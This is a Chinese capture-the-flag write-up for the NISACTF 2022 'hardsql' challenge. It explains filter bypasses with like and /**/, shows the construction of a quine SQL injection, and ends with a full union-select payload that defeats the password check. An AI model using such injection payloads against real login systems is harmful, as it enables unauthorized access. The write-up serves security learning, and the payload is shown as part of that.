[NISACTF 2022]hardsql
- 一、思路分析
- 二、解题方法
一、思路分析
题目描述:$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
从描述看出是quine注入,且用户名要是bilala
1、经测试,参数为:username=&passwd=&login=登录,username必须为bilala
2、【= and 空格】被过滤【like or /**/】
3、参考文章:https://blog.csdn.net/weixin_53090346/article/details/125531088
通过上述文章脚本得到密码:b2f2d15b3ae082ca29697d8dcd420fd7
通过密码登录可以看到页面源码,而这题重点在于quine语句怎么构造,如何理解quine构造
quine构造理解:
replace(‘replace(“.”,char(46),“.”)’,char(46),‘replace(“.”,char(46),“.”)’);
执行结果↓
replace(“replace(”.“,char(46),”.“)”,char(46),“replace(”.“,char(46),”.“)”);
区别在于最外层括号引号不一样
二、解题方法
1、要点:这道题就是,本身有个表,表里面有个数据,但是我们查出来的数据不能是表的数据,而是自己要构造一个和表里数据不一样数据。wp的payload的执行结果就相当于从表里面查询数据
2、通过固定payload得到flag即可
passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#